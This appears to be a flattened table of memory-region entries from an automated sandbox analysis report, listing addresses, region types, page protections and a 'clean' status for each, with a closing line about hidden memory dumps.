heap private
page read and write
clean
272B000
unkown
page readonly
clean
2B87000
heap private
page read and write
clean
1CDC9000
unkown
page read and write
clean
35AA000
unkown
page read and write
clean
26B0000
unkown
page read and write
clean
1CDAB000
unkown
page read and write
clean
26B0000
unkown
page read and write
clean
20000
unkown
page readonly
clean
271000
unkown
page execute and read and write
clean
1B0000
unkown
page read and write
clean
364C000
unkown
page read and write
clean
30FE000
stack
page read and write
clean
4BE000
unkown
page read and write
clean
1CD54000
unkown
page read and write
clean
7FF00170000
unkown
page read and write
clean
1C9DD000
unkown
page read and write
clean
7FFFFF00000
unkown
page execute and read and write
clean
32E000
heap default
page read and write
clean
120000
unkown
page readonly
clean
2187000
unkown
page readonly
clean
3D0000
unkown
page readonly
clean
12CCC000
unkown
page read and write
clean
26B0000
unkown
page read and write
clean
1BC29000
heap private
page read and write
clean
1BC4000
heap private
page read and write
clean
811000
heap default
page read and write
clean
7FF00100000
unkown
page read and write
clean
280000
unkown
page readonly
clean
663000
unkown
page read and write
clean
7FF00240000
unkown
page execute and read and write
clean
1F60000
unkown
page readonly
clean
450000
unkown
page readonly
clean
1AD00000
unkown
page read and write
clean
2D04000
unkown
page read and write
clean
1CD21000
unkown
page read and write
clean
890000
heap default
page read and write
clean
648000
unkown
page read and write
clean
1F7000
heap default
page read and write
clean
7FF00220000
unkown
page execute and read and write
clean
3C1C000
unkown
page read and write
clean
60000
unkown
page readonly
clean
4CE000
unkown
page read and write
clean
36C4000
unkown
page read and write
clean
223000
unkown
page execute and read and write
clean
291D000
unkown
page read and write
clean
7FF0003A000
unkown
page execute and read and write
clean
320000
heap default
page read and write
clean
1D50000
unkown
page readonly
clean
7FF001B0000
unkown
page execute and read and write
clean
537000
heap default
page read and write
clean
1CC000
unkown
page read and write
clean
11B000
unkown
page read and write
clean
650000
unkown
page read and write
clean
F0000
unkown
page readonly
clean
100000
unkown
page readonly
clean
1B60000
unkown
page write copy
clean
2DA000
stack
page read and write
clean
7FF00190000
unkown
page execute and read and write
clean
1E00000
unkown
page read and write
clean
59E000
stack
page read and write
clean
260000
unkown
page read and write
clean
26B0000
unkown
page read and write
clean
190000
heap private
page read and write
clean
635000
unkown
page read and write
clean
10023000
unkown
page execute and read and write
clean
2950000
unkown
page read and write
clean
2700000
unkown
page readonly
clean
1B870000
unkown
page write copy
clean
2650000
unkown
page read and write
clean
64A000
unkown
page read and write
clean
1CD51000
unkown
page read and write
clean
B30000
heap private
page read and write
clean
35CD000
unkown
page read and write
clean
340000
heap private
page read and write
clean
624000
heap private
page read and write
clean
A0000
heap default
page read and write
clean
1BC0B000
unkown
page read and write
clean
8F0000
heap private
page read and write
clean
12DB1000
unkown
page read and write
clean
53D000
heap default
page read and write
clean
7EFDF000
unkown
page read and write
clean
21B000
unkown
page read and write
clean
1FA7000
unkown
page readonly
clean
1D4D000
unkown
page read and write
clean
100000
unkown
page write copy
clean
1D0F7000
unkown
page readonly
clean
26B0000
unkown
page read and write
clean
260000
unkown
page read and write
clean
1BC0000
unkown
page readonly
clean
8B4000
heap default
page read and write
clean
53D000
heap default
page read and write
clean
1CDB2000
unkown
page read and write
clean
1D0000
unkown
page read and write
clean
35A4000
unkown
page read and write
clean
270000
unkown
page read and write
clean
20000
heap private
page read and write
clean
35D3000
unkown
page read and write
clean
420000
unkown
page readonly
clean
2954000
unkown
page read and write
clean
730000
unkown
page read and write
clean
2D80000
unkown
page write copy
clean
34B5000
unkown
page read and write
clean
3E4000
heap default
page read and write
clean
2147000
unkown
page readonly
clean
5A7000
heap default
page read and write
clean
10000000
unkown image
page readonly
clean
12CA1000
unkown
page read and write
clean
10023000
unkown
page execute and read and write
clean
65D000
unkown
page read and write
clean
380000
heap default
page read and write
clean
240000
heap default
page read and write
clean
1CF10000
unkown
page readonly
clean
2360000
heap private
page read and write
clean
819000
heap default
page read and write
clean
330000
heap default
page read and write
clean
1CD51000
unkown
page read and write
clean
34DE000
unkown
page read and write
clean
23A0000
unkown
page readonly
clean
612000
unkown
page read and write
clean
2E0000
unkown
page readonly
clean
9C2000
heap private
page read and write
clean
35A1000
unkown
page read and write
clean
3F9000
heap default
page read and write
clean
270C000
unkown
page readonly
clean
1D90000
unkown
page readonly
clean
273000
unkown
page execute and read and write
clean
1CD54000
unkown
page read and write
clean
221000
unkown
page execute and read and write
clean
12F52000
unkown
page read and write
clean
241000
unkown
page execute and read and write
clean
35C0000
unkown
page read and write
clean
2707000
unkown
page readonly
clean
1DA7000
unkown
page readonly
clean
7EFDF000
unkown
page read and write
clean
7CD000
heap default
page read and write
clean
3BDD000
unkown
page read and write
clean
2F32000
unkown
page read and write
clean
5D4000
heap default
page read and write
clean
2970000
heap private
page execute and read and write
clean
10000000
unkown image
page readonly
clean
630000
unkown
page readonly
clean
5B0000
unkown
page readonly
clean
1CD3C000
unkown
page read and write
clean
7FF001F0000
unkown
page execute and read and write
clean
7FF00280000
unkown
page read and write
clean
500000
heap default
page read and write
clean
507000
heap default
page read and write
clean
A30000
unkown
page read and write
clean
90000
unkown
page readonly
clean
2A26000
unkown
page read and write
clean
10000000
unkown image
page readonly
clean
647000
unkown
page read and write
clean
1E8000
heap private
page read and write
clean
214000
heap default
page read and write
clean
63D000
unkown
page read and write
clean
1CDA7000
unkown
page read and write
clean
2420000
unkown
page readonly
clean
2A0000
heap private
page read and write
clean
35B7000
unkown
page read and write
clean
797000
heap default
page read and write
clean
78E000
unkown
page read and write
clean
337000
heap default
page read and write
clean
360000
unkown
page readonly
clean
206000
unkown
page read and write
clean
8CD000
heap default
page read and write
clean
90000
unkown
page read and write
clean
2D0000
unkown
page readonly
clean
10021000
unkown
page execute and read and write
clean
64A000
unkown
page read and write
clean
217000
heap default
page read and write
clean
7C7000
heap default
page read and write
clean
26B0000
unkown
page read and write
clean
63E000
heap default
page read and write
clean
642000
unkown
page read and write
clean
2890000
unkown
page read and write
clean
2007000
unkown
page readonly
clean
180000
unkown
page readonly
clean
524000
heap default
page read and write
clean
210000
heap default
page read and write
clean
D0000
unkown
page read and write
clean
C30000
heap private
page read and write
clean
9E0000
unkown
page readonly
clean
20000
unkown
page readonly
clean
20000
unkown
page readonly
clean
65D000
unkown
page read and write
clean
170000
unkown
page write copy
clean
7FF00290000
unkown
page execute and read and write
clean
584000
heap default
page read and write
clean
288F000
unkown
page read and write
clean
420000
unkown
page readonly
clean
3000000
heap private
page read and write
clean
7FF00270000
unkown
page execute and read and write
clean
1CA8E000
unkown
page read and write
clean
651000
unkown
page read and write
clean
110000
unkown
page read and write
clean
897000
heap default
page read and write
clean
3010000
unkown
page readonly
clean
2800000
unkown
page readonly
clean
400000
unkown
page readonly
clean
100000
unkown
page read and write
clean
1CDB7000
unkown
page read and write
clean
2B70000
unkown
page read and write
clean
1CD38000
unkown
page read and write
clean
3AAE000
unkown
page read and write
clean
B2F000
unkown
page read and write
clean
10021000
unkown
page execute and read and write
clean
3C3D000
unkown
page read and write
clean
2B70000
unkown
page read and write
clean
90000
unkown
page read and write
clean
16C000
unkown
page read and write
clean
E0000
unkown
page read and write
clean
2F0000
unkown
page readonly
clean
B0000
heap private
page read and write
clean
140000
unkown
page read and write
clean
12CA5000
unkown
page read and write
clean
1B535000
unkown
page read and write
clean
3267000
unkown
page read and write
clean
10000000
unkown image
page readonly
clean
60000
unkown
page readonly
clean
10000000
unkown image
page readonly
clean
3529000
unkown
page read and write
clean
3560000
heap private
page read and write
clean
1BC0000
heap private
page read and write
clean
7B4000
heap default
page read and write
clean
26B0000
unkown
page read and write
clean
1B556000
unkown
page read and write
clean
1B521000
unkown
page read and write
clean
27B000
unkown
page read and write
clean
2D90000
heap private
page read and write
clean
7E0000
heap default
page read and write
clean
410000
unkown
page readonly
clean
1CDD2000
unkown
page read and write
clean
7FF0010A000
unkown
page execute and read and write
clean
A0F000
unkown
page read and write
clean
624000
unkown
page read and write
clean
1F77000
unkown
page readonly
clean
360000
unkown
page execute and read and write
clean
26AF000
stack
page read and write
clean
1B51D000
unkown
page read and write
clean
65D000
unkown
page read and write
clean
10023000
unkown
page execute and read and write
clean
260000
heap default
page read and write
clean
26B0000
unkown
page readonly
clean
290000
unkown
page read and write
clean
26B0000
unkown
page read and write
clean
A14000
unkown
page read and write
clean
7FF00200000
unkown
page read and write
clean
670000
unkown
page readonly
clean
10021000
unkown
page execute and read and write
clean
3261000
unkown
page read and write
clean
2B70000
unkown
page read and write
clean
27BF000
unkown
page read and write
clean
29F0000
unkown
page read and write
clean
1BC5F000
heap private
page read and write
clean
550000
unkown
page readonly
clean
7FF002A0000
unkown
page execute and read and write
clean
2380000
unkown
page readonly
clean
96E000
stack
page read and write
clean
1CE38000
unkown
page read and write
clean
770000
heap private
page read and write
clean
1D65000
heap private
page read and write
clean
AC0000
heap private
page read and write
clean
234D000
stack
page read and write
clean
10000000
unkown image
page readonly
clean
1C78E000
unkown
page read and write
clean
297A000
heap private
page execute and read and write
clean
5A2000
heap default
page read and write
clean
9D0000
unkown
page read and write
clean
830000
unkown
page readonly
clean
1D2F0000
unkown
page readonly
clean
1B370000
unkown
page read and write
clean
3F0000
unkown
page read and write
clean
26B0000
unkown
page read and write
clean
2FAE000
stack
page read and write
clean
7FF002B0000
unkown
page execute and read and write
clean
1CD10000
unkown
page read and write
clean
10021000
unkown
page execute and read and write
clean
BC000
unkown
page read and write
clean
1FA0000
unkown
page readonly
clean
26B0000
unkown
page read and write
clean
B90000
heap private
page read and write
clean
5B0000
heap default
page read and write
clean
7FF001D0000
unkown
page execute and read and write
clean
110000
unkown
page read and write
clean
90000
unkown
page readonly
clean
3D0000
heap private
page read and write
clean
190000
unkown
page execute and read and write
clean
211000
unkown
page execute and read and write
clean
1CDB3000
unkown
page read and write
clean
2ABE000
unkown
page read and write
clean
600000
unkown
page readonly
clean
1D2F000
unkown
page read and write
clean
29B0000
heap private
page execute and read and write
clean
790000
heap default
page read and write
clean
2B55000
unkown
page read and write
clean
2240000
unkown
page readonly
clean
12EF0000
unkown
page read and write
clean
3661000
unkown
page read and write
clean
2C9E000
unkown
page read and write | page guard
clean
26B0000
unkown
page read and write
clean
7EFDF000
unkown
page read and write
clean
20000
unkown
page readonly
clean
2C2C000
unkown
page read and write
clean
1CD52000
unkown
page read and write
clean
430000
unkown
page readonly
clean
2849000
heap private
page read and write
clean
2B70000
unkown
page readonly
clean
270E000
stack
page read and write
clean
7EFDF000
unkown
page read and write
clean
26B0000
unkown
page read and write
clean
250000
heap private
page read and write
clean
26B0000
unkown
page read and write
clean
7FF00132000
unkown
page execute and read and write
clean
460000
unkown
page readonly
clean
370000
unkown
page readonly
clean
600000
unkown
page readonly
clean
3C6E000
unkown
page read and write
clean
26B0000
unkown
page read and write
clean
510000
heap private
page read and write
clean
26B0000
unkown
page read and write
clean
2D7E000
stack
page read and write
clean
27F0000
unkown
page readonly
clean
1C8AE000
unkown
page read and write
clean
8E0000
heap default
page read and write
clean
1D6AC000
unkown
page read and write
clean
26C0000
unkown
page read and write
clean
60000
unkown
page readonly
clean
7FF00040000
unkown
page read and write
clean
2C5C000
unkown
page read and write
clean
180000
unkown
page read and write
clean
651000
unkown
page read and write
clean
2B84000
heap private
page read and write
clean
635000
heap default
page read and write
clean
1A6000
unkown
page read and write
clean
56D000
heap default
page read and write
clean
35E9000
unkown
page read and write
clean
F0000
unkown
page read and write
clean
1A5000
unkown
page read and write | page guard
clean
35EC000
unkown
page read and write
clean
780000
unkown
page readonly
clean
1CC90000
heap private
page read and write
clean
7FF0004C000
unkown
page execute and read and write
clean
3E0000
heap private
page read and write
clean
35D6000
unkown
page read and write
clean
347000
heap private
page read and write
clean
10021000
unkown
page execute and read and write
clean
26B0000
unkown
page read and write
clean
130000
unkown
page readonly
clean
B52000
heap private
page read and write
clean
1E90000
unkown
page readonly
clean
170000
heap private
page read and write
clean
357B000
unkown
page read and write
clean
5D0000
unkown
page readonly
clean
843000
heap default
page read and write
clean
2340000
unkown
page readonly
clean
1B552000
unkown
page read and write
clean
1CDBA000
unkown
page read and write
clean
1B930000
unkown
page read and write
clean
2B50000
unkown
page read and write
clean
2C60000
unkown
page write copy
clean
2C90000
heap private
page read and write
clean
295A000
unkown
page read and write
clean
64F000
unkown
page read and write
clean
1A0000
heap default
page read and write
clean
1CDBA000
unkown
page read and write
clean
2760000
unkown
page readonly
clean
32D000
unkown
page read and write
clean
3DF000
heap default
page read and write
clean
2170000
unkown
page readonly
clean
10000000
unkown image
page readonly
clean
325B000
unkown
page read and write
clean
640000
unkown
page read and write
clean
2E1D000
unkown
page read and write
clean
2840000
unkown
page readonly
clean
2200000
unkown
page read and write
clean
3E9000
heap default
page read and write
clean
1C82E000
unkown
page read and write
clean
1B0000
unkown
page execute and read and write
clean
1E10000
heap private
page execute and read and write
clean
10023000
unkown
page execute and read and write
clean
2A0000
unkown
page readonly
clean
283D000
stack
page read and write
clean
35BD000
unkown
page read and write
clean
2B40000
unkown
page readonly
clean
640000
unkown
page read and write
clean
27EF000
unkown
page read and write
clean
2867000
heap private
page read and write
clean
7EFDF000
unkown
page read and write
clean
2CAE000
stack
page read and write
clean
10023000
unkown
page execute and read and write
clean
100000
unkown
page read and write
clean
7FF001E0000
unkown
page read and write
clean
550000
heap default
page read and write
clean
26B0000
unkown
page read and write
clean
1B505000
unkown
page read and write
clean
647000
unkown
page read and write
clean
500000
heap default
page read and write
clean
20000
unkown
page readonly
clean
1E6000
unkown
page read and write
clean
58E000
unkown
page read and write
clean
57F000
heap default
page read and write
clean
1B565000
unkown
page read and write
clean
2840000
heap private
page read and write
clean
7FF00207000
unkown
page read and write
clean
1CAE0000
heap private
page read and write
clean
160000
unkown
page readonly
clean
20000
heap private
page read and write
clean
662000
unkown
page read and write
clean
2E80000
heap private
page read and write
clean
24E000
heap default
page read and write
clean
201000
unkown
page execute and read and write
clean
1BC20000
heap private
page read and write
clean
3BD8000
unkown
page read and write
clean
2750000
unkown
page readonly
clean
26B0000
unkown
page read and write
clean
3B1000
heap default
page read and write
clean
283C000
unkown
page read and write
clean
35BA000
unkown
page read and write
clean
213000
unkown
page execute and read and write
clean
274E000
unkown
page read and write
clean
2D2E000
unkown
page read and write
clean
620000
heap private
page read and write
clean
BCE000
unkown
page read and write
clean
26F0000
unkown
page readonly
clean
7FF000F0000
unkown
page read and write
clean
415000
heap default
page read and write
clean
220000
unkown
page execute and read and write
clean
10021000
unkown
page execute and read and write
clean
7FF00210000
unkown
page read and write
clean
4FE000
unkown
page read and write
clean
7FF000F2000
unkown
page execute and read and write
clean
10000000
unkown image
page readonly
clean
90000
unkown
page read and write
clean
7FF0026A000
unkown
page execute and read and write
clean
5A0000
unkown
page readonly
clean
8C7000
heap default
page read and write
clean
7FF00032000
unkown
page execute and read and write
clean
10023000
unkown
page execute and read and write
clean
6B0000
unkown
page readonly
clean
2E7E000
unkown
page read and write
clean
2DAE000
stack
page read and write
clean
2C9F000
unkown
page read and write
clean
20000
unkown
page readonly
clean
1CDA7000
unkown
page read and write
clean
1B480000
unkown
page read and write
clean
26B0000
unkown
page read and write
clean
160000
unkown
page readonly
clean
7FF00105000
unkown
page read and write
clean
10000000
unkown image
page readonly
clean
26B0000
unkown
page read and write
clean
1D9B000
heap private
page read and write
clean
E0000
unkown
page readonly
clean
29ED000
unkown
page read and write
clean
170000
unkown
page execute and read and write
clean
290000
unkown
page read and write
clean
12E11000
unkown
page read and write
clean
D0000
heap private
page read and write
clean
360000
heap private
page read and write
clean
5ED000
heap default
page read and write
clean
26B0000
unkown
page read and write
clean
1E20000
unkown
page readonly
clean
35A7000
unkown
page read and write
clean
B50000
heap private
page read and write
clean
3E4000
heap private
page read and write
clean
7EFDF000
unkown
page read and write
clean
626000
unkown
page read and write
clean
2360000
unkown
page readonly
clean
514000
heap private
page read and write
clean
7FF00260000
unkown
page execute and read and write
clean
26B0000
unkown
page read and write
clean
1CDB7000
unkown
page read and write
clean
26AF000
unkown
page read and write
clean
630000
heap default
page read and write
clean
28FD000
unkown
page read and write
clean
278C000
unkown
page read and write
clean
1CDF6000
unkown
page read and write
clean
1D60000
heap private
page read and write
clean
1F70000
unkown
page readonly
clean
26B0000
unkown
page read and write
clean
1AC000
stack
page read and write
clean
2AF0000
unkown
page readonly
clean
364000
heap default
page read and write
clean
7FFFFF10000
unkown
page execute and read and write
clean
F0000
unkown
page readonly
clean
EC000
unkown
page read and write
clean
198000
heap private
page read and write
clean
450000
unkown
page readonly
clean
33ED000
unkown
page read and write
clean
5E7000
heap default
page read and write
clean
1F0000
heap default
page read and write
clean
1F2000
unkown
page read and write
clean
524000
heap default
page read and write
clean
3A0000
heap private
page read and write
clean
1CDA8000
unkown
page read and write
clean
390000
heap private
page read and write
clean
1B540000
unkown
page read and write
clean
There are 588 hidden memdumps, click here to show them.